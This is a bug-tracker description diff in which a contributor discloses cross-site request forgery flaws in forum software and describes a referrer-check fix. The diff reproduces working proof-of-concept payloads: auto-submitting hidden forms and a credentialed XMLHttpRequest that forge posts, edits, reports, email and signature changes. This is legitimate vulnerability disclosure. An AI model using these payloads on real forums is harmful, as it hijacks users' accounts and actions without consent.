Fork me on GitHub

Changes for #940

Description changed by Kaslai (2014-01-08 23:13:14)

 1:  1:
 With the way things currently are, I've successfully crafted XSRF links that can force anyone to post an arbitrary post on any forum, and can force non-admods to do a ton of things, specifically: With the way things currently are, I've successfully crafted XSRF links that can force anyone to post an arbitrary post on any forum, and can force non-admods to do a ton of things, specifically:
  
     Modify any aspect of their profile such as timezone, signature, and even email if secure email updating is not enabled.     Modify any aspect of their profile such as timezone, signature, and even email if secure email updating is not enabled.
     Post arbitrary posts anywhere on the forum.     Post arbitrary posts anywhere on the forum.
     Edit any post they've made.     Edit any post they've made.
     Submit bogus reports.     Submit bogus reports.
  
 It is also possible to carry out an XSRF attack using only XMLHttpRequest objects, so a potentially malicious site could do an attack completely unnoticed. One could even spam posts on a timer in order to post as many as possible without tripping the flood limiter. It is also possible to carry out an XSRF attack using only XMLHttpRequest objects, so a potentially malicious site could do an attack completely unnoticed. One could even spam posts on a timer in order to post as many as possible without tripping the flood limiter.
  
 These are some pretty serious issues and I'm surprised they made it this far. All I've done is made confirm_referrer() throw a bad HTTP_REFERER error if the valid script name is an empty string, and the host is different from the forum's base url. I then inserted confirm_referrer(''); wherever one was lacking. The reason why I didn't just do confirm_referrer('scriptname') is because some things (such as posting) are accessible from multiple scripts, so my approach is very flexible. However, it would be vulnerable if there's an unsafe redirect somewhere in the code, though there doesn't appear to be one currently. These are some pretty serious issues and I'm surprised they made it this far. All I've done is made confirm_referrer() throw a bad HTTP_REFERER error if the valid script name is an empty string, and the host is different from the forum's base url. I then inserted confirm_referrer(''); wherever one was lacking. The reason why I didn't just do confirm_referrer('scriptname') is because some things (such as posting) are accessible from multiple scripts, so my approach is very flexible. However, it would be vulnerable if there's an unsafe redirect somewhere in the code, though there doesn't appear to be one currently.
  
 I've posted fixes on a GitHub fork. I've posted fixes on a GitHub fork.
  
  
 Proof of concept implementations: Proof of concept implementations:
  
-<!--Report spoofing +[code]<!--Report spoofing  
-report = post id--> +report = post id-->  
-<form id="post" name="post" method="post" action="http://localhost/misc.php?report=1"> +<form id="post" name="post" method="post" action="http://localhost/misc.php?report=1">  
-<input type="hidden" name="form_sent" value="1" /> +<input type="hidden" name="form_sent" value="1" />  
-<input type="hidden" name="req_reason" value="This was against my will" /> +<input type="hidden" name="req_reason" value="This was against my will" />  
-<input type="hidden" name="req_message" value="I clicked a malicious link!" /> +<input type="hidden" name="req_message" value="I clicked a malicious link!" />  
-</form> +</form>  
- +  
-<!--Edit spoofing +<!--Edit spoofing  
-DOESN'T WORK ON MODS/ADMINS +DOESN'T WORK ON MODS/ADMINS  
-id = post id--> +id = post id-->  
-<form id="post" name="post" method="post" action="http://localhost/edit.php?id=2"> +<form id="post" name="post" method="post" action="http://localhost/edit.php?id=2">  
-<input type="hidden" name="form_sent" value="1" /> +<input type="hidden" name="form_sent" value="1" />  
-<input type="hidden" name="req_subject" value="I didn't mean to do this!" /> +<input type="hidden" name="req_subject" value="I didn't mean to do this!" />  
-<input type="hidden" name="req_message" value="I clicked a malicious link!" /> +<input type="hidden" name="req_message" value="I clicked a malicious link!" />  
-</form> +</form>  
- +  
-<!--Post spoofing +<!--Post spoofing  
-ADMODS ARE SUSCEPTIBLE TO THIS +ADMODS ARE SUSCEPTIBLE TO THIS  
-fid = forum id +fid = forum id  
-tid = topic id--> +tid = topic id-->  
-<form id="post" name="post" method="post" action="http://localhost/post.php?fid=1"> +<form id="post" name="post" method="post" action="http://localhost/post.php?fid=1">  
-<input type="hidden" name="form_sent" value="1" /> +<input type="hidden" name="form_sent" value="1" />  
-<input type="hidden" name="req_subject" value="I didn't mean to do this!" /> +<input type="hidden" name="req_subject" value="I didn't mean to do this!" />  
-<input type="hidden" name="req_message" value="I clicked a malicious link!" /> +<input type="hidden" name="req_message" value="I clicked a malicious link!" />  
-</form> +</form>  
- +  
-<!--Email spoofing  +<!--Email spoofing   
-DOESN'T WORK ON MODS/ADMINS +DOESN'T WORK ON MODS/ADMINS  
-ONLY WORKS IF NON-SECURE EMAIL CHANGING IS USED +ONLY WORKS IF NON-SECURE EMAIL CHANGING IS USED  
-id = User id--> +id = User id-->  
-<form id="post" name="post" method="post" action="http://localhost/profile.php?id=3&section=essentials"> +<form id="post" name="post" method="post" action="http://localhost/profile.php?id=3&section=essentials">  
-<input type="hidden" name="form_sent" value="1" /> +<input type="hidden" name="form_sent" value="1" />  
-<input type="hidden" name="req_email" value="pwned@pwned.com" /> +<input type="hidden" name="req_email" value="pwned@pwned.com" />  
-<input type="hidden" name="form[timezone]" value="0" /> +<input type="hidden" name="form[timezone]" value="0" />  
-<input type="hidden" name="form[dst]" value="0" /> +<input type="hidden" name="form[dst]" value="0" />  
-<input type="hidden" name="form[time_format]" value="0" /> +<input type="hidden" name="form[time_format]" value="0" />  
-<input type="hidden" name="form[date_format]" value="0" /> +<input type="hidden" name="form[date_format]" value="0" />  
-</form> +</form>  
- +  
-<!--Signature spoofing  +<!--Signature spoofing   
-DOESN'T WORK ON MODS/ADMINS +DOESN'T WORK ON MODS/ADMINS  
-id = user id--> +id = user id-->  
-<form id="post" name="post" method="post" action="http://localhost/profile.php?id=2&section=personality"> +<form id="post" name="post" method="post" action="http://localhost/profile.php?id=2&section=personality">  
-<input type="hidden" name="form_sent" value="1" /> +<input type="hidden" name="form_sent" value="1" />  
-<input type="hidden" name="signature" value="I clicked a malicious link!" /> +<input type="hidden" name="signature" value="I clicked a malicious link!" />  
-</form> +</form>  
- +  
-<!--automatically submit the form on page load--> +<!--automatically submit the form on page load-->  
-<body onLoad="post.submit();">+<body onLoad="post.submit();">[/code]
  
  
 Further, with XmlHttpRequest, you don't even have to redirect the user, and it can forge a post behind the scenes: Further, with XmlHttpRequest, you don't even have to redirect the user, and it can forge a post behind the scenes:
  
-<script type="text/javascript"> +[code]<script type="text/javascript">  
-var http = new XMLHttpRequest(); +var http = new XMLHttpRequest();  
-var url = "http://localhost/post.php?fid=1"; +var url = "http://localhost/post.php?fid=1";  
-var params = "form_sent=1&req_subject=Oh%20no&req_message=I%20clicked%20a%20malicious%20link"; +var params = "form_sent=1&req_subject=Oh%20no&req_message=I%20clicked%20a%20malicious%20link";  
-http.open("POST", url, true); +http.open("POST", url, true);  
- +  
-http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); +http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");  
-http.setRequestHeader("Content-length", params.length); +http.setRequestHeader("Content-length", params.length);  
-http.setRequestHeader("Connection", "close"); +http.setRequestHeader("Connection", "close");  
- +  
-http.withCredentials = "true"; +http.withCredentials = "true";  
- +  
-http.send(params); +http.send(params);  
-</script>+</script>[/code]